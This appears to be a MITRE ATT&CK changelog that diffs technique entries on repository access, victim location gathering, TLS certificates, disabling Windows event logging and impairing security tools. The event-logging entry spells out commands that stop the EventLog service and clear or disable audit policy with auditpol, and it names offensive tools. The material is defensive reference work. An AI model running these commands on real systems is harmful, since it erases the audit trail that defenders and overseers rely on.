| x_mitre_detection | As information repositories generally have a considerably large user base, detection of malicious use can be non-trivial. At minimum, access to information repositories performed by privileged users (for example, Active Directory Domain, Enterprise, or Schema Administrators) should be closely monitored and alerted upon, as these types of accounts should not generally used to access information repositories. If the capability exists, it may be of value to monitor and alert on users that are retrieving and viewing a large number of documents and pages; this behavior may be indicative of programmatic means being used to retrieve all data within the repository. In environments with high-maturity, it may be possible to leverage User-Behavioral Analytics (UBA) platforms to detect and alert on user based anomalies. The user access logging within Microsoft's SharePoint can be configured to report access to certain pages and documents. (Citation: Microsoft SharePoint Logging) The user access logging within Atlassian's Confluence can also be configured to report access to certain pages and documents through AccessLogFilter. (Citation: Atlassian Confluence Logging) Additional log storage and analysis infrastructure will likely be required for more robust detection capabilities. | As information repositories generally have a considerably large user base, detection of malicious use can be non-trivial. At minimum, access to information repositories performed by privileged users (for example, Active Directory Domain, Enterprise, or Schema Administrators) should be closely monitored and alerted upon, as these types of accounts should generally not be used to access information repositories. If the capability exists, it may be of value to monitor and alert on users that are retrieving and viewing a large number of documents and pages; this behavior may be indicative of programmatic means being used to retrieve all data within the repository. In environments with high-maturity, it may be possible to leverage User-Behavioral Analytics (UBA) platforms to detect and alert on user based anomalies. The user access logging within Microsoft's SharePoint can be configured to report access to certain pages and documents. (Citation: Microsoft SharePoint Logging) Sharepoint audit logging can also be configured to report when a user shares a resource. (Citation: Sharepoint Sharing Events) The user access logging within Atlassian's Confluence can also be configured to report access to certain pages and documents through AccessLogFilter. (Citation: Atlassian Confluence Logging) Additional log storage and analysis infrastructure will likely be required for more robust detection capabilities. |
| x_mitre_version | 3.1 | 3.2 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Atlassian Confluence Logging', 'description': 'Atlassian. (2018, January 9). How to Enable User Access Logging. Retrieved April 4, 2018.', 'url': 'https://confluence.atlassian.com/confkb/how-to-enable-user-access-logging-182943.html'} | |
| x_mitre_contributors | Naveen Vijayaraghavan, Nilesh Dherange (Gurucul) | |
| x_mitre_contributors | Regina Elwell | |
| x_mitre_contributors | Isif Ibrahima | |
| x_mitre_platforms | IaaS |
Current version: 1.3
Version changed from: 1.2 → 1.3
New Mitigations:
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_contributors | ['William Cain'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-05-26 19:21:25.974000+00:00 | 2021-10-15 22:16:42.734000+00:00 |
| x_mitre_version | 1.2 | 1.3 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Script: Script Execution |
Current version: 1.2
Version changed from: 1.1 → 1.2
New Mitigations:
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_contributors | ['William Cain'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-24 15:44:46.584000+00:00 | 2021-10-15 22:17:35.218000+00:00 |
| x_mitre_version | 1.1 | 1.2 |
Current version: 1.1
Version changed from: 1.0 → 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may gather the victim's physical location(s) tha | t | 1 | Adversaries may gather the victim's physical location(s) tha |
| > | t can be used during targeting. Information about physical l | > | t can be used during targeting. Information about physical l | ||
| > | ocations of a target organization may include a variety of d | > | ocations of a target organization may include a variety of d | ||
| > | etails, including where key resources and infrastructure are | > | etails, including where key resources and infrastructure are | ||
| > | housed. Physical locations may also indicate what legal jur | > | housed. Physical locations may also indicate what legal jur | ||
| > | isdiction and/or authorities the victim operates within. Ad | > | isdiction and/or authorities the victim operates within. Ad | ||
| > | versaries may gather this information in various ways, such | > | versaries may gather this information in various ways, such | ||
| > | as direct elicitation via [Phishing for Information](https:/ | > | as direct elicitation via [Phishing for Information](https:/ | ||
| > | /attack.mitre.org/techniques/T1598). Physical locations of a | > | /attack.mitre.org/techniques/T1598). Physical locations of a | ||
| > | target organization may also be exposed to adversaries via | > | target organization may also be exposed to adversaries via | ||
| > | online or other accessible data sets (ex: [Search Victim-Own | > | online or other accessible data sets (ex: [Search Victim-Own | ||
| > | ed Websites](https://attack.mitre.org/techniques/T1594) or [ | > | ed Websites](https://attack.mitre.org/techniques/T1594) or [ | ||
| > | Social Media](https://attack.mitre.org/techniques/T1593/001) | > | Social Media](https://attack.mitre.org/techniques/T1593/001) | ||
| > | ).(Citation: ThreatPost Broadvoice Leak)(Citation: DOB Busin | > | ).(Citation: ThreatPost Broadvoice Leak)(Citation: SEC EDGAR | ||
| > | ess Lookup) Gathering this information may reveal opportunit | > | Search) Gathering this information may reveal opportunities | ||
| > | ies for other forms of reconnaissance (ex: [Phishing for Inf | > | for other forms of reconnaissance (ex: [Phishing for Inform | ||
| > | ormation](https://attack.mitre.org/techniques/T1598) or [Sea | > | ation](https://attack.mitre.org/techniques/T1598) or [Search | ||
| > | rch Open Websites/Domains](https://attack.mitre.org/techniqu | > | Open Websites/Domains](https://attack.mitre.org/techniques/ | ||
| > | es/T1593)), establishing operational resources (ex: [Develop | > | T1593)), establishing operational resources (ex: [Develop Ca | ||
| > | Capabilities](https://attack.mitre.org/techniques/T1587) or | > | pabilities](https://attack.mitre.org/techniques/T1587) or [O | ||
| > | [Obtain Capabilities](https://attack.mitre.org/techniques/T | > | btain Capabilities](https://attack.mitre.org/techniques/T158 | ||
| > | 1588)), and/or initial access (ex: [Phishing](https://attack | > | 8)), and/or initial access (ex: [Phishing](https://attack.mi | ||
| > | .mitre.org/techniques/T1566) or [Hardware Additions](https:/ | > | tre.org/techniques/T1566) or [Hardware Additions](https://at | ||
| > | /attack.mitre.org/techniques/T1200)). | > | tack.mitre.org/techniques/T1200)). | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2021-04-15 03:37:35.863000+00:00 | 2021-08-27 15:37:09.025000+00:00 |
| description | Adversaries may gather the victim's physical location(s) that can be used during targeting. Information about physical locations of a target organization may include a variety of details, including where key resources and infrastructure are housed. Physical locations may also indicate what legal jurisdiction and/or authorities the victim operates within. Adversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Physical locations of a target organization may also be exposed to adversaries via online or other accessible data sets (ex: [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594) or [Social Media](https://attack.mitre.org/techniques/T1593/001)).(Citation: ThreatPost Broadvoice Leak)(Citation: DOB Business Lookup) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566) or [Hardware Additions](https://attack.mitre.org/techniques/T1200)). | Adversaries may gather the victim's physical location(s) that can be used during targeting. Information about physical locations of a target organization may include a variety of details, including where key resources and infrastructure are housed. Physical locations may also indicate what legal jurisdiction and/or authorities the victim operates within. Adversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Physical locations of a target organization may also be exposed to adversaries via online or other accessible data sets (ex: [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594) or [Social Media](https://attack.mitre.org/techniques/T1593/001)).(Citation: ThreatPost Broadvoice Leak)(Citation: SEC EDGAR Search) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566) or [Hardware Additions](https://attack.mitre.org/techniques/T1200)). |
| external_references[2]['source_name'] | DOB Business Lookup | SEC EDGAR Search |
| external_references[2]['description'] | Concert Technologies . (n.d.). Business Lookup - Company Name Search. Retrieved October 20, 2020. | U.S. SEC. (n.d.). EDGAR - Search and Access. Retrieved August 27, 2021. |
| external_references[2]['url'] | https://www.dobsearch.com/business-lookup/ | https://www.sec.gov/edgar/search-and-access |
| x_mitre_version | 1.0 | 1.1 |
Current version: 1.1
Version changed from: 1.0 → 1.1
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Malware Repository: Malware Metadata', 'Malware Repository: Malware Content', 'Internet Scan: Response Content'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2021-04-15 03:08:33.511000+00:00 | 2021-10-17 16:07:08.768000+00:00 |
| x_mitre_detection | Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Defense Evasion or Command and Control. | Consider analyzing malware for features that may be associated with the adversary and/or their developers, such as compiler used, debugging artifacts, or code similarities. Malware repositories can also be used to identify additional samples associated with the adversary and identify development patterns over time. Consider use of services that may aid in the tracking of certificates in use on sites across the Internet. In some cases it may be possible to pivot on known pieces of certificate information to uncover other adversary infrastructure.(Citation: Splunk Kovar Certificates 2017) Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Defense Evasion or Command and Control. |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Splunk Kovar Certificates 2017', 'description': 'Kovar, R. (2017, December 11). Tall Tales of Hunting with TLS/SSL Certificates. Retrieved October 16, 2020.', 'url': 'https://www.splunk.com/en_us/blog/security/tall-tales-of-hunting-with-tls-ssl-certificates.html'} |
Current version: 1.2
Version changed from: 1.1 → 1.2
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may buy and/or steal SSL/TLS certificates that c | t | 1 | Adversaries may buy and/or steal SSL/TLS certificates that c |
| > | an be used during targeting. SSL/TLS certificates are design | > | an be used during targeting. SSL/TLS certificates are design | ||
| > | ed to instill trust. They include information about the key, | > | ed to instill trust. They include information about the key, | ||
| > | information about its owner's identity, and the digital sig | > | information about its owner's identity, and the digital sig | ||
| > | nature of an entity that has verified the certificate's cont | > | nature of an entity that has verified the certificate's cont | ||
| > | ents are correct. If the signature is valid, and the person | > | ents are correct. If the signature is valid, and the person | ||
| > | examining the certificate trusts the signer, then they know | > | examining the certificate trusts the signer, then they know | ||
| > | they can use that key to communicate with its owner. Advers | > | they can use that key to communicate with its owner. Advers | ||
| > | aries may purchase or steal SSL/TLS certificates to further | > | aries may purchase or steal SSL/TLS certificates to further | ||
| > | their operations, such as encrypting C2 traffic (ex: [Asymme | > | their operations, such as encrypting C2 traffic (ex: [Asymme | ||
| > | tric Cryptography](https://attack.mitre.org/techniques/T1573 | > | tric Cryptography](https://attack.mitre.org/techniques/T1573 | ||
| > | /002) with [Web Protocols](https://attack.mitre.org/techniqu | > | /002) with [Web Protocols](https://attack.mitre.org/techniqu | ||
| > | es/T1071/001)) or even enabling [Man-in-the-Middle](https:// | > | es/T1071/001)) or even enabling [Adversary-in-the-Middle](ht | ||
| > | attack.mitre.org/techniques/T1557) if the certificate is tru | > | tps://attack.mitre.org/techniques/T1557) if the certificate | ||
| > | sted or otherwise added to the root of trust (i.e. [Install | > | is trusted or otherwise added to the root of trust (i.e. [In | ||
| > | Root Certificate](https://attack.mitre.org/techniques/T1553/ | > | stall Root Certificate](https://attack.mitre.org/techniques/ | ||
| > | 004)). The purchase of digital certificates may be done usin | > | T1553/004)). The purchase of digital certificates may be don | ||
| > | g a front organization or using information stolen from a pr | > | e using a front organization or using information stolen fro | ||
| > | eviously compromised entity that allows the adversary to val | > | m a previously compromised entity that allows the adversary | ||
| > | idate to a certificate provider as that entity. Adversaries | > | to validate to a certificate provider as that entity. Advers | ||
| > | may also steal certificate materials directly from a comprom | > | aries may also steal certificate materials directly from a c | ||
| > | ised third-party, including from certificate authorities.(Ci | > | ompromised third-party, including from certificate authoriti | ||
| > | tation: DiginotarCompromise) Adversaries may register or hij | > | es.(Citation: DiginotarCompromise) Adversaries may register | ||
| > | ack domains that they will later purchase an SSL/TLS certifi | > | or hijack domains that they will later purchase an SSL/TLS c | ||
| > | cate for. Certificate authorities exist that allow adversar | > | ertificate for. Certificate authorities exist that allow ad | ||
| > | ies to acquire SSL/TLS certificates, such as domain validati | > | versaries to acquire SSL/TLS certificates, such as domain va | ||
| > | on certificates, for free.(Citation: Let's Encrypt FAQ) Aft | > | lidation certificates, for free.(Citation: Let's Encrypt FAQ | ||
| > | er obtaining a digital certificate, an adversary may then in | > | ) After obtaining a digital certificate, an adversary may t | ||
| > | stall that certificate (see [Install Digital Certificate](ht | > | hen install that certificate (see [Install Digital Certifica | ||
| > | tps://attack.mitre.org/techniques/T1608/003)) on infrastruct | > | te](https://attack.mitre.org/techniques/T1608/003)) on infra | ||
| > | ure under their control. | > | structure under their control. | ||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Certificate: Certificate Registration', 'Internet Scan: Response Content'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2021-04-15 02:32:49.507000+00:00 | 2021-10-16 17:44:09.486000+00:00 |
| description | Adversaries may buy and/or steal SSL/TLS certificates that can be used during targeting. SSL/TLS certificates are designed to instill trust. They include information about the key, information about its owner's identity, and the digital signature of an entity that has verified the certificate's contents are correct. If the signature is valid, and the person examining the certificate trusts the signer, then they know they can use that key to communicate with its owner. Adversaries may purchase or steal SSL/TLS certificates to further their operations, such as encrypting C2 traffic (ex: [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002) with [Web Protocols](https://attack.mitre.org/techniques/T1071/001)) or even enabling [Man-in-the-Middle](https://attack.mitre.org/techniques/T1557) if the certificate is trusted or otherwise added to the root of trust (i.e. [Install Root Certificate](https://attack.mitre.org/techniques/T1553/004)). The purchase of digital certificates may be done using a front organization or using information stolen from a previously compromised entity that allows the adversary to validate to a certificate provider as that entity. Adversaries may also steal certificate materials directly from a compromised third-party, including from certificate authorities.(Citation: DiginotarCompromise) Adversaries may register or hijack domains that they will later purchase an SSL/TLS certificate for. Certificate authorities exist that allow adversaries to acquire SSL/TLS certificates, such as domain validation certificates, for free.(Citation: Let's Encrypt FAQ) After obtaining a digital certificate, an adversary may then install that certificate (see [Install Digital Certificate](https://attack.mitre.org/techniques/T1608/003)) on infrastructure under their control. | Adversaries may buy and/or steal SSL/TLS certificates that can be used during targeting. SSL/TLS certificates are designed to instill trust. They include information about the key, information about its owner's identity, and the digital signature of an entity that has verified the certificate's contents are correct. If the signature is valid, and the person examining the certificate trusts the signer, then they know they can use that key to communicate with its owner. Adversaries may purchase or steal SSL/TLS certificates to further their operations, such as encrypting C2 traffic (ex: [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002) with [Web Protocols](https://attack.mitre.org/techniques/T1071/001)) or even enabling [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557) if the certificate is trusted or otherwise added to the root of trust (i.e. [Install Root Certificate](https://attack.mitre.org/techniques/T1553/004)). The purchase of digital certificates may be done using a front organization or using information stolen from a previously compromised entity that allows the adversary to validate to a certificate provider as that entity. Adversaries may also steal certificate materials directly from a compromised third-party, including from certificate authorities.(Citation: DiginotarCompromise) Adversaries may register or hijack domains that they will later purchase an SSL/TLS certificate for. Certificate authorities exist that allow adversaries to acquire SSL/TLS certificates, such as domain validation certificates, for free.(Citation: Let's Encrypt FAQ) After obtaining a digital certificate, an adversary may then install that certificate (see [Install Digital Certificate](https://attack.mitre.org/techniques/T1608/003)) on infrastructure under their control. |
| x_mitre_version | 1.1 | 1.2 |
Current version: 1.2
Version changed from: 1.1 → 1.2
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may create self-signed SSL/TLS certificates that | t | 1 | Adversaries may create self-signed SSL/TLS certificates that |
| > | can be used during targeting. SSL/TLS certificates are desi | > | can be used during targeting. SSL/TLS certificates are desi | ||
| > | gned to instill trust. They include information about the ke | > | gned to instill trust. They include information about the ke | ||
| > | y, information about its owner's identity, and the digital s | > | y, information about its owner's identity, and the digital s | ||
| > | ignature of an entity that has verified the certificate's co | > | ignature of an entity that has verified the certificate's co | ||
| > | ntents are correct. If the signature is valid, and the perso | > | ntents are correct. If the signature is valid, and the perso | ||
| > | n examining the certificate trusts the signer, then they kno | > | n examining the certificate trusts the signer, then they kno | ||
| > | w they can use that key to communicate with its owner. In th | > | w they can use that key to communicate with its owner. In th | ||
| > | e case of self-signing, digital certificates will lack the e | > | e case of self-signing, digital certificates will lack the e | ||
| > | lement of trust associated with the signature of a third-par | > | lement of trust associated with the signature of a third-par | ||
| > | ty certificate authority (CA). Adversaries may create self- | > | ty certificate authority (CA). Adversaries may create self- | ||
| > | signed SSL/TLS certificates that can be used to further thei | > | signed SSL/TLS certificates that can be used to further thei | ||
| > | r operations, such as encrypting C2 traffic (ex: [Asymmetric | > | r operations, such as encrypting C2 traffic (ex: [Asymmetric | ||
| > | Cryptography](https://attack.mitre.org/techniques/T1573/002 | > | Cryptography](https://attack.mitre.org/techniques/T1573/002 | ||
| > | ) with [Web Protocols](https://attack.mitre.org/techniques/T | > | ) with [Web Protocols](https://attack.mitre.org/techniques/T | ||
| > | 1071/001)) or even enabling [Man-in-the-Middle](https://atta | > | 1071/001)) or even enabling [Adversary-in-the-Middle](https: | ||
| > | ck.mitre.org/techniques/T1557) if added to the root of trust | > | //attack.mitre.org/techniques/T1557) if added to the root of | ||
| > | (i.e. [Install Root Certificate](https://attack.mitre.org/t | > | trust (i.e. [Install Root Certificate](https://attack.mitre | ||
| > | echniques/T1553/004)). After creating a digital certificate | > | .org/techniques/T1553/004)). After creating a digital certi | ||
| > | , an adversary may then install that certificate (see [Insta | > | ficate, an adversary may then install that certificate (see | ||
| > | ll Digital Certificate](https://attack.mitre.org/techniques/ | > | [Install Digital Certificate](https://attack.mitre.org/techn | ||
| > | T1608/003)) on infrastructure under their control. | > | iques/T1608/003)) on infrastructure under their control. | ||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Internet Scan: Response Content'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2021-04-15 02:33:38.589000+00:00 | 2021-10-16 17:32:34.604000+00:00 |
| description | Adversaries may create self-signed SSL/TLS certificates that can be used during targeting. SSL/TLS certificates are designed to instill trust. They include information about the key, information about its owner's identity, and the digital signature of an entity that has verified the certificate's contents are correct. If the signature is valid, and the person examining the certificate trusts the signer, then they know they can use that key to communicate with its owner. In the case of self-signing, digital certificates will lack the element of trust associated with the signature of a third-party certificate authority (CA). Adversaries may create self-signed SSL/TLS certificates that can be used to further their operations, such as encrypting C2 traffic (ex: [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002) with [Web Protocols](https://attack.mitre.org/techniques/T1071/001)) or even enabling [Man-in-the-Middle](https://attack.mitre.org/techniques/T1557) if added to the root of trust (i.e. [Install Root Certificate](https://attack.mitre.org/techniques/T1553/004)). After creating a digital certificate, an adversary may then install that certificate (see [Install Digital Certificate](https://attack.mitre.org/techniques/T1608/003)) on infrastructure under their control. | Adversaries may create self-signed SSL/TLS certificates that can be used during targeting. SSL/TLS certificates are designed to instill trust. They include information about the key, information about its owner's identity, and the digital signature of an entity that has verified the certificate's contents are correct. If the signature is valid, and the person examining the certificate trusts the signer, then they know they can use that key to communicate with its owner. In the case of self-signing, digital certificates will lack the element of trust associated with the signature of a third-party certificate authority (CA). Adversaries may create self-signed SSL/TLS certificates that can be used to further their operations, such as encrypting C2 traffic (ex: [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002) with [Web Protocols](https://attack.mitre.org/techniques/T1071/001)) or even enabling [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557) if added to the root of trust (i.e. [Install Root Certificate](https://attack.mitre.org/techniques/T1553/004)). After creating a digital certificate, an adversary may then install that certificate (see [Install Digital Certificate](https://attack.mitre.org/techniques/T1608/003)) on infrastructure under their control. |
| x_mitre_version | 1.1 | 1.2 |
Current version: 1.1
Version changed from: 1.0 → 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may disable Windows event logging to limit data | t | 1 | Adversaries may disable Windows event logging to limit data |
| > | that can be leveraged for detections and audits. Windows eve | > | that can be leveraged for detections and audits. Windows eve | ||
| > | nt logs record user and system activity such as login attemp | > | nt logs record user and system activity such as login attemp | ||
| > | ts, process creation, and much more.(Citation: Windows Log E | > | ts, process creation, and much more.(Citation: Windows Log E | ||
| > | vents) This data is used by security tools and analysts to g | > | vents) This data is used by security tools and analysts to g | ||
| > | enerate detections. Adversaries may targeting system-wide l | > | enerate detections. The EventLog service maintains event lo | ||
| > | ogging or just that of a particular application. By disablin | > | gs from various system components and applications.(Citation | ||
| > | g Windows event logging, adversaries can operate while leavi | > | : EventLog_Core_Technologies) By default, the service automa | ||
| > | ng less evidence of a compromise behind. | > | tically starts when a system powers on. An audit policy, mai | ||
| > | ntained by the Local Security Policy (secpol.msc), defines w | ||||
| > | hich system events the EventLog service logs. Security audit | ||||
| > | policy settings can be changed by running secpol.msc, then | ||||
| > | navigating to <code>Security Settings\Local Policies\Audit P | ||||
| > | olicy</code> for basic audit policy settings or <code>Securi | ||||
| > | ty Settings\Advanced Audit Policy Configuration</code> for a | ||||
| > | dvanced audit policy settings.(Citation: Audit_Policy_Micros | ||||
| > | oft)(Citation: Advanced_sec_audit_policy_settings) <code>aud | ||||
| > | itpol.exe</code> may also be used to set audit policies.(Cit | ||||
| > | ation: auditpol) Adversaries may target system-wide logging | ||||
| > | or just that of a particular application. For example, the | ||||
| > | EventLog service may be disabled using the following PowerSh | ||||
| > | ell line: <code>Stop-Service -Name EventLog</code>.(Citation | ||||
| > | : Disable_Win_Event_Logging) Additionally, adversaries may u | ||||
| > | se <code>auditpol</code> and its sub-commands in a command p | ||||
| > | rompt to disable auditing or clear the audit policy. To enab | ||||
| > | le or disable a specified setting or audit category, adversa | ||||
| > | ries may use the <code>/success</code> or <code>/failure</co | ||||
| > | de> parameters. For example, <code>auditpol /set /category:” | ||||
| > | Account Logon” /success:disable /failure:disable</code> turn | ||||
| > | s off auditing for the Account Logon category.(Citation: aud | ||||
| > | itpol.exe_STRONTIC)(Citation: T1562.002_redcanaryco) To clea | ||||
| > | r the audit policy, adversaries may run the following lines: | ||||
| > | <code>auditpol /clear /y</code> or <code>auditpol /remove / | ||||
| > | allusers</code>.(Citation: T1562.002_redcanaryco) By disabl | ||||
| > | ing Windows event logging, adversaries can operate while lea | ||||
| > | ving less evidence of a compromise behind. | ||||
New Mitigations:
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_contributors | ['Prasanth Sadanala, Cigna Information Protection (CIP) - Threat Response Engineering Team'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-29 22:02:33.870000+00:00 | 2021-10-19 13:37:30.534000+00:00 |
| description | Adversaries may disable Windows event logging to limit data that can be leveraged for detections and audits. Windows event logs record user and system activity such as login attempts, process creation, and much more.(Citation: Windows Log Events) This data is used by security tools and analysts to generate detections. Adversaries may targeting system-wide logging or just that of a particular application. By disabling Windows event logging, adversaries can operate while leaving less evidence of a compromise behind. | Adversaries may disable Windows event logging to limit data that can be leveraged for detections and audits. Windows event logs record user and system activity such as login attempts, process creation, and much more.(Citation: Windows Log Events) This data is used by security tools and analysts to generate detections.
The EventLog service maintains event logs from various system components and applications.(Citation: EventLog_Core_Technologies) By default, the service automatically starts when a system powers on. An audit policy, maintained by the Local Security Policy (secpol.msc), defines which system events the EventLog service logs. Security audit policy settings can be changed by running secpol.msc, then navigating to Security Settings\Local Policies\Audit Policy for basic audit policy settings or Security Settings\Advanced Audit Policy Configuration for advanced audit policy settings.(Citation: Audit_Policy_Microsoft)(Citation: Advanced_sec_audit_policy_settings) auditpol.exe may also be used to set audit policies.(Citation: auditpol)
Adversaries may target system-wide logging or just that of a particular application. For example, the EventLog service may be disabled using the following PowerShell line: Stop-Service -Name EventLog.(Citation: Disable_Win_Event_Logging) Additionally, adversaries may use auditpol and its sub-commands in a command prompt to disable auditing or clear the audit policy. To enable or disable a specified setting or audit category, adversaries may use the /success or /failure parameters. For example, auditpol /set /category:”Account Logon” /success:disable /failure:disable turns off auditing for the Account Logon category.(Citation: auditpol.exe_STRONTIC)(Citation: T1562.002_redcanaryco) To clear the audit policy, adversaries may run the following lines: auditpol /clear /y or auditpol /remove /allusers.(Citation: T1562.002_redcanaryco)
By disabling Windows event logging, adversaries can operate while leaving less evidence of a compromise behind. |
| x_mitre_detection | Monitor processes and command-line arguments for commands that can be used to disable logging. Lack of event logs may be suspicious. | Monitor processes and command-line arguments for commands that can be used to disable logging. For example, [Wevtutil](https://attack.mitre.org/software/S0645), `auditpol`, `sc stop EventLog`, and offensive tooling (such as [Mimikatz](https://attack.mitre.org/software/S0002) and `Invoke-Phant0m`) may be used to clear logs.(Citation: def_ev_win_event_logging)(Citation: evt_log_tampering) In Event Viewer, Event ID 1102 under the “Security” Windows Log and Event ID 104 under the “System” Windows Log both indicate logs have been cleared.(Citation: def_ev_win_event_logging) `Service Control Manager Event ID 7035` in Event Viewer may indicate the termination of the EventLog service.(Citation: evt_log_tampering) Additionally, gaps in the logs, e.g. non-sequential Event Record IDs, may indicate that the logs may have been tampered. Monitor the addition of the MiniNT registry key in `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control`, which may disable Event Viewer.(Citation: def_ev_win_event_logging) |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'EventLog_Core_Technologies', 'description': 'Core Technologies. (2021, May 24). Essential Windows Services: EventLog / Windows Event Log. Retrieved September 14, 2021.', 'url': 'https://www.coretechnologies.com/blog/windows-services/eventlog/'} | |
| external_references | {'source_name': 'Audit_Policy_Microsoft', 'description': 'Daniel Simpson. (2017, April 19). Audit Policy. Retrieved September 13, 2021.', 'url': 'https://docs.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/audit-policy'} | |
| external_references | {'source_name': 'Advanced_sec_audit_policy_settings', 'description': 'Simpson, D. et al. (2017, April 19). Advanced security audit policy settings. Retrieved September 14, 2021.', 'url': 'https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/advanced-security-audit-policy-settings'} | |
| external_references | {'source_name': 'auditpol', 'description': 'Jason Gerend, et al. (2017, October 16). auditpol. Retrieved September 1, 2021.', 'url': 'https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/auditpol'} | |
| external_references | {'source_name': 'Disable_Win_Event_Logging', 'description': ' dmcxblue. (n.d.). Disable Windows Event Logging. Retrieved September 10, 2021.', 'url': 'https://dmcxblue.gitbook.io/red-team-notes-2-0/red-team-techniques/defense-evasion/t1562-impair-defenses/disable-windows-event-logging'} | |
| external_references | {'source_name': 'auditpol.exe_STRONTIC', 'description': 'STRONTIC. (n.d.). auditpol.exe. Retrieved September 9, 2021.', 'url': 'https://strontic.github.io/xcyclopedia/library/auditpol.exe-214E0EA1F7F7C27C82D23F183F9D23F1.html'} | |
| external_references | {'source_name': 'T1562.002_redcanaryco', 'description': 'redcanaryco. (2021, September 3). T1562.002 - Disable Windows Event Logging. Retrieved September 13, 2021.', 'url': 'https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1562.002/T1562.002.md'} | |
| external_references | {'source_name': 'def_ev_win_event_logging', 'description': 'Chandel, R. (2021, April 22). Defense Evasion: Windows Event Logging (T1562.002). Retrieved September 14, 2021.', 'url': 'https://www.hackingarticles.in/defense-evasion-windows-event-logging-t1562-002/'} | |
| external_references | {'source_name': 'evt_log_tampering', 'description': 'svch0st. (2020, September 30). Event Log Tampering Part 1: Disrupting the EventLog Service. Retrieved September 14, 2021.', 'url': 'https://svch0st.medium.com/event-log-tampering-part-1-disrupting-the-eventlog-service-8d4b7d67335c'} | |
| x_mitre_data_sources | Process: Process Creation | |
| x_mitre_data_sources | Script: Script Execution | |
| x_mitre_data_sources | Windows Registry: Windows Registry Key Creation | |
| x_mitre_data_sources | Application Log: Application Log Content |
Current version: 1.2
Version changed from: 1.1 → 1.2
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may disable security tools to avoid possible det | t | 1 | Adversaries may modify and/or disable security tools to avoi |
| > | ection of their tools and activities. This can take the form | > | d possible detection of their malware/tools and activities. | ||
| > | of killing security software or event logging processes, de | > | This may take the many forms, such as killing security softw | ||
| > | leting Registry keys so that tools do not start at run time, | > | are processes or services, modifying / deleting Registry key | ||
| > | or other methods to interfere with security tools scanning | > | s or configuration files so that tools do not operate proper | ||
| > | or reporting information. | > | ly, or other methods to interfere with security tools scanni | ||
| > | ng or reporting information. Adversaries may also tamper wi | ||||
| > | th artifacts deployed and utilized by security tools. Securi | ||||
| > | ty tools may make dynamic changes to system components in or | ||||
| > | der to maintain visibility into specific events. For example | ||||
| > | , security products may load their own modules and/or modify | ||||
| > | those loaded by processes to facilitate data collection. Si | ||||
| > | milar to [Indicator Blocking](https://attack.mitre.org/techn | ||||
| > | iques/T1562/006), adversaries may unhook or otherwise modify | ||||
| > | these features added by tools (especially those that exist | ||||
| > | in userland or are otherwise potentially accessible to adver | ||||
| > | saries) to avoid detection.(Citation: OutFlank System Calls) | ||||
| > | (Citation: MDSec System Calls) | ||||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2021-04-19 13:41:17.746000+00:00 | 2021-10-18 21:27:48.159000+00:00 |
